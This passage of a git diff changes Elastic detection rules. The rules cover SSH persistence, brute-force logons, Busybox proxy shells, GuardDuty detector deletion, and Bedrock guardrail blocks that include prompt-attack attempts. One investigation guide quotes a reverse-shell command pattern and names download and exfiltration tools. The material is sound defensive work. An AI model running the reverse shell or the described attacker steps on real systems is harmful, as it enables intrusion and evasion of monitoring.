"T1556.009", - "name": "Conditional Access Policies", - "reference": "https://attack.mitre.org/techniques/T1556/009/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "498e4094-60e7-11f0-8847-f661ea17fbcd_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/4c3c6c47-e38f-4944-be27-5c80be973bd7_2.json b/packages/security_detection_engine/kibana/security_rule/4c3c6c47-e38f-4944-be27-5c80be973bd7_2.json deleted file mode 100644 index b50fe7d9cb9..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/4c3c6c47-e38f-4944-be27-5c80be973bd7_2.json +++ /dev/null @@ -1,155 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects the creation of an unusual SSHD child process through the usage of the `new_terms` rule type. Attackers may abuse SSH to maintain persistence on a compromised system, or to establish a backdoor for remote access, potentially resulting in an unusual SSHD child process being created.", - "from": "now-9m", - "history_window_start": "now-14d", - "index": [ - "logs-endpoint.events.process*" - ], - "language": "kuery", - "license": "Elastic License v2", - "name": "Unusual SSHD Child Process", - "new_terms_fields": [ - "process.executable" - ], - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual SSHD Child Process\n\nSecure Shell (SSH) is a protocol used to securely access remote systems. Adversaries may exploit SSH to maintain persistence or create backdoors by spawning unexpected child processes. The detection rule identifies anomalies by monitoring process creation events where SSH or SSHD is the parent, focusing on atypical command-line arguments, which may indicate malicious activity.\n\n### Possible investigation steps\n\n- Review the process command line arguments for the unusual SSHD child process to identify any suspicious or unexpected commands that could indicate malicious activity.\n- Check the user account associated with the SSHD child process to determine if it is a legitimate user or if there are signs of compromise, such as unusual login times or locations.\n- Investigate the parent process (SSH or SSHD) to understand the context of the connection, including the source IP address and any associated user activity, to assess if it aligns with expected behavior.\n- Examine the process tree to identify any subsequent processes spawned by the unusual SSHD child process, which may provide further insight into the attacker's actions or objectives.\n- Correlate the event with other security logs and alerts from the same host or network segment to identify any related suspicious activities or patterns that could indicate a broader attack campaign.\n\n### False positive analysis\n\n- Legitimate administrative scripts or automation tools may trigger this rule if they execute commands with SSH or SSHD as the parent process. To handle this, identify and document these scripts, then create exceptions for their specific command-line patterns.\n- System maintenance tasks or updates that involve SSH connections might appear as unusual child processes. Regularly review and whitelist these known maintenance activities to prevent unnecessary alerts.\n- Custom user environments or shell configurations that deviate from standard shells like bash, zsh, or sh could be flagged. Analyze these configurations and exclude them if they are verified as non-threatening.\n- Monitoring tools or security solutions that interact with SSH sessions for logging or auditing purposes might generate alerts. Verify these tools' behavior and exclude their processes if they are part of legitimate monitoring activities.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary.\n- Terminate any suspicious SSHD child processes identified by the alert to halt potential malicious activities.\n- Conduct a thorough review of SSH configuration files and access logs to identify unauthorized changes or access patterns, and revert any unauthorized modifications.\n- Change all SSH keys and credentials associated with the compromised system to prevent further unauthorized access.\n- Implement additional monitoring on the affected system and related network segments to detect any further suspicious activities or attempts to re-establish persistence.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected.\n- Review and update firewall rules and access controls to restrict SSH access to only trusted IP addresses and users, reducing the attack surface for future incidents.", - "query": "event.category:process and host.os.type:linux and event.type:start and event.action:exec and\nprocess.parent.name:(ssh or sshd) and process.args_count:2 and\nnot (\n process.command_line:(-bash or -zsh or -sh) or\n process.name:(ractrans or exectask or tty or tput or ferny-askpass or id or ip)\n)\n", - "references": [ - "https://hadess.io/the-art-of-linux-persistence/" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.category", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args_count", - "type": "long" - }, - { - "ecs": true, - "name": "process.command_line", - "type": "wildcard" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.name", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "4c3c6c47-e38f-4944-be27-5c80be973bd7", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Persistence", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0003", - "name": "Persistence", - "reference": "https://attack.mitre.org/tactics/TA0003/" - }, - "technique": [ - { - "id": "T1546", - "name": "Event Triggered Execution", - "reference": "https://attack.mitre.org/techniques/T1546/", - "subtechnique": [ - { - "id": "T1546.004", - "name": "Unix Shell Configuration Modification", - "reference": "https://attack.mitre.org/techniques/T1546/004/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0008", - "name": "Lateral Movement", - "reference": "https://attack.mitre.org/tactics/TA0008/" - }, - "technique": [ - { - "id": "T1021", - "name": "Remote Services", - "reference": "https://attack.mitre.org/techniques/T1021/", - "subtechnique": [ - { - "id": "T1021.004", - "name": "SSH", - "reference": "https://attack.mitre.org/techniques/T1021/004/" - } - ] - }, - { - "id": "T1563", - "name": "Remote Service Session Hijacking", - "reference": "https://attack.mitre.org/techniques/T1563/", - "subtechnique": [ - { - "id": "T1563.001", - "name": "SSH Hijacking", - "reference": "https://attack.mitre.org/techniques/T1563/001/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0011", - "name": "Command and Control", - "reference": "https://attack.mitre.org/tactics/TA0011/" - }, - "technique": [] - } - ], - "timestamp_override": "event.ingested", - "type": "new_terms", - "version": 2 - }, - "id": "4c3c6c47-e38f-4944-be27-5c80be973bd7_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/4e85dc8a-3e41-40d8-bc28-91af7ac6cf60_116.json b/packages/security_detection_engine/kibana/security_rule/4e85dc8a-3e41-40d8-bc28-91af7ac6cf60_116.json new file mode 100644 index 00000000000..8a4ea8b9e19 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/4e85dc8a-3e41-40d8-bc28-91af7ac6cf60_116.json @@ -0,0 +1,128 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies multiple logon failures followed by a successful one from the same source address. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Multiple Logon Failure Followed by Logon Success", + "note": "## Triage and analysis\n\n### Investigating Multiple Logon Failure Followed by Logon Success\n\nAdversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to guess the password using a repetitive or iterative mechanism systematically. More details can be found [here](https://attack.mitre.org/techniques/T1110/001/).\n\nThis rule identifies potential password guessing/brute force activity from a single address, followed by a successful logon, indicating that an attacker potentially successfully compromised the account.\n\n> **Note**:\n> This investigation guide uses the [Osquery Markdown Plugin](https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html) introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.\n\n#### Possible investigation steps\n\n- Investigate the logon failure reason code and the targeted user name.\n - Prioritize the investigation if the account is critical or has administrative privileges over the domain.\n- Investigate the source IP address of the failed Network Logon attempts.\n - Identify whether these attempts are coming from the internet or are internal.\n- Investigate other alerts associated with the involved users and source host during the past 48 hours.\n- Identify the source and the target computer and their roles in the IT environment.\n- Check whether the involved credentials are used in automation or scheduled tasks.\n- If this activity is suspicious, contact the account owner and confirm whether they are aware of it.\n- Examine the source host for derived artifacts that indicate compromise:\n - Observe and collect information about the following activities in the alert source host:\n - Attempts to contact external domains and addresses.\n - Examine the DNS cache for suspicious or anomalous entries.\n - !{osquery{\"label\":\"Osquery - Retrieve DNS Cache\",\"query\":\"SELECT * FROM dns_cache\"}}\n - Examine the host services for suspicious or anomalous entries.\n - !{osquery{\"label\":\"Osquery - Retrieve All Services\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Services Running on User Accounts\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\\nuser_account == null)\\n\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Service Unsigned Executables with Virustotal Link\",\"query\":\"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\\n\"}}\n- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the host which is the source of this activity.\n\n### False positive analysis\n\n- Authentication misconfiguration or obsolete credentials.\n- Service account password expired.\n- Domain trust relationship issues.\n- Infrastructure or availability issues.\n\n### Related rules\n\n- Multiple Logon Failure from the same Source Address - 48b6edfc-079d-4907-b43c-baffa243270d\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the source host to prevent further post-compromise behavior.\n- If the asset is exposed to the internet with RDP or other remote services available, take the necessary measures to restrict access to the asset. If not possible, limit the access via the firewall to only the needed IP addresses. Also, ensure the system uses robust authentication mechanisms and is patched regularly.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "sequence by winlog.computer_name, source.ip with maxspan=5s\n [authentication where host.os.type == \"windows\" and event.action == \"logon-failed\" and\n /* event 4625 need to be logged */\n winlog.logon.type : \"Network\" and user.id != null and \n source.ip != null and source.ip != \"127.0.0.1\" and source.ip != \"::1\" and \n not winlog.event_data.TargetUserSid : \"S-1-0-0\" and not user.id : \"S-1-0-0\" and \n not user.name : (\"ANONYMOUS LOGON\", \"-\", \"*$\") and not user.domain == \"NT AUTHORITY\" and\n\n /* noisy failure status codes often associated to authentication misconfiguration */\n not winlog.event_data.Status : (\"0xC000015B\", \"0XC000005E\", \"0XC0000133\", \"0XC0000192\")] with runs=5\n [authentication where host.os.type == \"windows\" and event.action == \"logged-in\" and\n /* event 4624 need to be logged */\n winlog.logon.type : \"Network\" and\n source.ip != null and source.ip != \"127.0.0.1\" and source.ip != \"::1\" and\n not user.name : (\"ANONYMOUS LOGON\", \"-\", \"*$\") and not user.domain == \"NT AUTHORITY\"]\n", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "user.domain", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.computer_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.Status", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.TargetUserSid", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.logon.type", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "4e85dc8a-3e41-40d8-bc28-91af7ac6cf60", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Resources: Investigation Guide", + "Data Source: Windows Security Event Logs" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.001", + "name": "Password Guessing", + "reference": "https://attack.mitre.org/techniques/T1110/001/" + }, + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + } + ] + } + ] + } + ], + "type": "eql", + "version": 116 + }, + "id": "4e85dc8a-3e41-40d8-bc28-91af7ac6cf60_116", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/4f855297-c8e0-4097-9d97-d653f7e471c4_5.json b/packages/security_detection_engine/kibana/security_rule/4f855297-c8e0-4097-9d97-d653f7e471c4_5.json deleted file mode 100644 index ed3b395f2cb..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/4f855297-c8e0-4097-9d97-d653f7e471c4_5.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects repeated high-confidence 'BLOCKED' actions coupled with specific 'Content Filter' policy violation having codes such as 'MISCONDUCT', 'HATE', 'SEXUAL', INSULTS', 'PROMPT_ATTACK', 'VIOLENCE' indicating persistent misuse or attempts to probe the model's ethical boundaries.", - "false_positives": [ - "New model deployments.", - "Testing updates to compliance policies." - ], - "from": "now-60m", - "interval": "10m", - "language": "esql", - "license": "Elastic License v2", - "name": "Unusual High Confidence Content Filter Blocks Detected", - "note": "## Triage and analysis\n\n### Investigating Amazon Bedrock Guardrail High Confidence Content Filter Blocks.\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can enable Content filter for Hate, Insults, Sexual Violence and Misconduct along with Prompt Attack filters prompts \nto prevent the model from generating content on specific, undesired subjects, and they can establish thresholds for harmful content categories.\n\n#### Possible investigation steps\n\n- Identify the user account whose prompts caused high confidence content filter blocks and whether it should perform this kind of action.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws_bedrock.invocation-*\n| MV_EXPAND gen_ai.compliance.violation_code\n| MV_EXPAND gen_ai.policy.confidence\n| MV_EXPAND gen_ai.policy.name \n| where gen_ai.policy.action == \"BLOCKED\" and gen_ai.policy.name == \"content_policy\" and gen_ai.policy.confidence LIKE \"HIGH\" and gen_ai.compliance.violation_code IN (\"HATE\", \"MISCONDUCT\", \"SEXUAL\", \"INSULTS\", \"PROMPT_ATTACK\", \"VIOLENCE\")\n| keep user.id, gen_ai.compliance.violation_code\n| stats block_count_per_violation = count() by user.id, gen_ai.compliance.violation_code \n| SORT block_count_per_violation DESC \n| keep user.id, gen_ai.compliance.violation_code, block_count_per_violation\n| STATS violation_count = SUM(block_count_per_violation) by user.id\n| WHERE violation_count > 5 \n| SORT violation_count DESC \n", - "references": [ - "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", - "https://atlas.mitre.org/techniques/AML.T0051", - "https://atlas.mitre.org/techniques/AML.T0054", - "https://www.elastic.co/security-labs/elastic-advances-llm-security" - ], - "risk_score": 47, - "rule_id": "4f855297-c8e0-4097-9d97-d653f7e471c4", - "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", - "severity": "medium", - "tags": [ - "Domain: LLM", - "Data Source: AWS Bedrock", - "Data Source: AWS S3", - "Use Case: Policy Violation", - "Mitre Atlas: T0051", - "Mitre Atlas: T0054" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 5 - }, - "id": "4f855297-c8e0-4097-9d97-d653f7e471c4_5", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5134be90-42c1-4ac7-859c-4d82caaddbec_1.json b/packages/security_detection_engine/kibana/security_rule/5134be90-42c1-4ac7-859c-4d82caaddbec_1.json new file mode 100644 index 00000000000..cbbd56eec12 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/5134be90-42c1-4ac7-859c-4d82caaddbec_1.json @@ -0,0 +1,135 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects the execution of a shell through Busybox. Attackers may use this technique to execute shells while attempting to evade detection.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Proxy Shell Execution via Busybox", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Proxy Shell Execution via Busybox\n\nThis rule identifies Linux shells started via Busybox, indicating proxy execution to sidestep controls that focus on direct shell binaries. Adversaries leverage Busybox\u2019s ubiquity and static build to blend in, obscure parentage, and run commands in constrained or minimal environments. A common pattern is copying a standalone busybox into /tmp on a container or embedded host, making it executable, then invoking busybox sh to run one-liners, pull payloads, and stage persistence.\n\n### Possible investigation steps\n\n- Correlate the event to a user session or container exec by pivoting to TTY/session ID, SSH auth logs, and Kubernetes/Docker exec audits to verify whether it was an authorized action.\n- Determine Busybox provenance by checking its path and file metadata (non-standard location, recent write, unusual owner/capabilities or symlink), confirming package ownership, and hashing against trusted repositories and threat intelligence.\n- Expand the process tree 10\u201315 minutes around the event to find staging steps (curl/wget/tftp, chmod, mv) and post-shell behavior (reverse shells, crypto miners, persistence writes).\n- Collect live context for the shell (current working directory, environment, open sockets, controlling TTY, effective user) to quickly decide if it is interactive misuse or command staging.\n- Hunt across hosts for similar Busybox-to-shell chains and review persistence artifacts and new files in writable dirs (crontab, systemd units, rc files, authorized_keys, /tmp, /dev/shm) to catch follow-on activity.\n\n### False positive analysis\n\n- An administrator performing recovery on a minimal host may copy a static busybox and start an interactive sh with no arguments for troubleshooting, producing a busybox-to-shell chain that is expected.\n- Legitimate privilege-switch or login workflows using Busybox applets (e.g., su or login) can spawn a bare sh without -c for an authenticated session, so confirm a controlling TTY, expected user, and standard paths before treating it as malicious.\n\n### Response and remediation\n\n- Immediately isolate the impacted host or container at the network level, terminate any shells whose parent is busybox, and block outbound traffic initiated by those shells (e.g., nc, curl/wget, ssh to unknown IPs).\n- Identify and remove rogue busybox copies or symlinks in writable locations such as /tmp, /var/tmp, and /dev/shm by revoking execute permissions or deleting them, and capture file hashes, paths, and mtimes for evidence.\n- Remove persistence and droppers created by the busybox-spawned shell by cleaning newly added cron entries under /etc/cron.*, systemd units in /etc/systemd/system, rc.local edits, and suspicious authorized_keys or ~/.bashrc/.profile changes, then reboot if kernel modules or LD_PRELOAD were modified.\n- Reset passwords, rotate SSH keys and tokens used in the session, rebuild affected containers from clean images or reimage hosts if system binaries were changed, and restore services only after verifying no busybox-to-shell chains launch at startup.\n- Escalate to incident response if the busybox-launched shell ran as root, established a reverse connection (e.g., bash -i >& /dev/tcp//), created SUID files, or dropped payloads in /tmp, /var/tmp, or /dev/shm, or if a new busybox binary was downloaded or touched minutes before execution.\n- Harden by enforcing noexec,nosuid,nodev mounts on /tmp and /var/tmp, constraining busybox with AppArmor/SELinux to block spawning interactive shells or execution from world-writable paths, locking down container runtime exec and capabilities (e.g., disable kubectl/docker exec for non-admins, remove CAP_SYS_ADMIN), and implementing file integrity monitoring on busybox and standard shells.\n", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and process.parent.name == \"busybox\" and\nprocess.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and\nprocess.command_line in (\"bash\", \"bash-\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and\nnot (\n process.args == \"-c\" or\n process.parent.args : (\n \"crond\", \"/usr/sbin/crond\", \"/local-registrator.sh\", \"/var/atlassian/application-data/bamboo-agent*\"\n ) or\n process.parent.command_line in (\n \"sh /readonly-config/fix-split-brain.sh\",\n \"/bin/sh -c /health-check.sh || bash -c 'kill -s 15 $(pidof siridb-server) && (sleep 10; kill -s 9 $(pidof siridb-server))'\"\n ) or\n process.command_line == \"bash /etc/kafka/docker/run\" or\n process.parent.command_line like (\n \"/bin/sh -c apk add*\", \"/bin/sh -c crm-cron-enabled*\", \"udhcpc -n -p /run/udhcpc.*\", \"flock -x*\"\n ) or\n process.working_directory == \"/usr/share/grafana\"\n)\n", + "references": [ + "https://gtfobins.github.io/gtfobins/busybox/" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.working_directory", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "5134be90-42c1-4ac7-859c-4d82caaddbec", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Tactic: Execution", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1218", + "name": "System Binary Proxy Execution", + "reference": "https://attack.mitre.org/techniques/T1218/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 1 + }, + "id": "5134be90-42c1-4ac7-859c-4d82caaddbec_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/523116c0-d89d-4d7c-82c2-39e6845a78ef_210.json b/packages/security_detection_engine/kibana/security_rule/523116c0-d89d-4d7c-82c2-39e6845a78ef_210.json new file mode 100644 index 00000000000..75af0247a4e --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/523116c0-d89d-4d7c-82c2-39e6845a78ef_210.json @@ -0,0 +1,110 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects the deletion of an Amazon GuardDuty detector. GuardDuty provides continuous monitoring for malicious or unauthorized activity across AWS accounts. Deleting the detector disables this visibility, stopping all threat detection and removing existing findings. Adversaries may delete GuardDuty detectors to impair security monitoring and evade detection during or after an intrusion. This rule identifies successful \"DeleteDetector\" API calls and can indicate a deliberate defense evasion attempt.", + "false_positives": [ + "The GuardDuty detector may be deleted by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Detector deletions by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "target.entity.id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS GuardDuty Detector Deletion", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. \n> While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS GuardDuty Detector Deletion\n\nAmazon GuardDuty is a continuous threat detection service that analyzes CloudTrail, DNS, and VPC Flow Logs to identify malicious activity and compromised resources. Deleting a GuardDuty detector stops this monitoring entirely and permanently removes all historical findings for the affected AWS account. This rule detects successful `DeleteDetector` API calls, which may represent an attacker attempting to impair defenses and evade detection. Such actions should be rare and always performed under controlled administrative change processes.\n\n#### Possible investigation steps\n\n- **Identify the actor**\n - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine who initiated the deletion.\n - Verify whether this principal normally performs GuardDuty configuration or administrative tasks.\n\n- **Review request context**\n - Check `aws.cloudtrail.request_parameters` and `cloud.region` to confirm the targeted GuardDuty detector and scope of impact.\n - Determine whether multiple detectors or member accounts were affected (especially in delegated admin organizations).\n\n- **Analyze source and access patterns**\n - Review `source.ip`, `user_agent.original` and `source.geo` fields for anomalous or previously unseen access locations or automation clients.\n - Check whether the deletion occurred outside standard maintenance windows or during a concurrent suspicious activity window.\n\n- **Correlate with preceding or related activity**\n - Search for earlier GuardDuty configuration changes:\n - `StopMonitoringMembers`, `DisassociateMembers`, or `DeleteMembers`\n - IAM role or policy modifications reducing GuardDuty privileges\n - Look for other defense evasion indicators such as CloudTrail suspension, Security Hub configuration changes, or disabling of AWS Config rules.\n\n- **Review historical GuardDuty findings**\n - Examine prior GuardDuty alerts and findings (if still retrievable) to determine whether the deletion followed significant detection activity.\n - Use centralized logs or security data lakes to recover findings removed from the console.\n\n### False positive analysis\n\n- **Authorized administrative actions**\n - Verify whether the deletion corresponds to legitimate account decommissioning, region cleanup, or migration activity.\n- **Automation or IaC**\n - GuardDuty may be disabled temporarily during infrastructure provisioning or teardown in automated environments. \n Confirm via CI/CD logs or Infrastructure-as-Code templates.\n- **Organizational configuration changes**\n - Large organizations might consolidate GuardDuty under a delegated administrator account, causing detectors to be deleted in member accounts. \n Validate these actions against security architecture changes.\n\n### Response and remediation\n\n- **Containment and restoration**\n - If unauthorized, immediately re-enable GuardDuty in the affected account and region using the `CreateDetector` API or AWS console.\n - Verify that findings aggregation and member account associations are restored to 